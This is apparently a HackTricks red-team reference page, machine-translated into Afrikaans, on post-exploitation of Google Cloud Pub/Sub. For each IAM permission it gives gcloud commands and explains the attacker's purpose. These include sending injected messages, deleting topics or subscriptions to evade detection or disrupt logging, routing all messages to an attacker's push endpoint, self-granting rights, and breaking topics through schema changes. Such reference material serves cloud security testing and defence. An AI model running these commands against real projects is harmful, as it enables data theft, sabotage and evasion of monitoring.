GCP - Pub/Sub Post Exploitation

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Pub/Sub

Vir meer inligting oor Pub/Sub, kyk na die volgende bladsy:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

Publiseer 'n boodskap in 'n onderwerp, nuttig om onverwagte data te stuur en onverwagte funksionaliteit te aktiveer of kwesbaarhede uit te buit:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Nuttig om te voorkom dat 'n intekening boodskappe ontvang, miskien om opsporing te vermy.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Nuttig om te voorkom dat 'n intekening boodskappe ontvang, miskien om opsporing te vermy. Dit is moontlik om 'n onderwerp te verwyder selfs as daar intekeninge daaraan geheg is.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Gebruik hierdie toestemming om 'n instelling van die onderwerp te verander om dit te ontwrig, soos --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Gee jouself toestemming om enige van die vorige aanvalle uit te voer.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Kry al die boodskappe in 'n webbediener:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Skep 'n intekening en gebruik dit om boodskappe te trek:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Verwyder 'n intekening kan nuttig wees om 'n logverwerkingstelsel of iets soortgelyks te ontwrig:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Gebruik hierdie toestemming om 'n instelling by te werk sodat boodskappe in 'n plek gestoor word waar jy toegang tot het (URL, Big Query-tabel, Bucket), of net om dit te ontwrig.

pubsub.subscriptions.setIamPolicy

Gee jouself die toestemmings wat nodig is om enige van die vorige aanvalle uit te voer.

pubsub.schemas.delete

Verwyder 'n skema om boodskappe te stuur wat nie aan die skema voldoen nie:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Val aan 'n skema aan 'n onderwerp sodat die boodskappe dit nie nakom nie en dus die onderwerp ontwrig word. As daar nie enige skemas is nie, moet jy dalk een skep.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

Gee jouself die regte om enige van die vorige genoemde aanvalle uit te voer.

pubsub.snapshots.create, pubsub.snapshots.seek

Dit sal 'n afskrif van al die onbevestigde boodskappe skep en dit terugplaas na die intekening. Nie baie nuttig vir 'n aanvaller nie, maar hier is dit:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated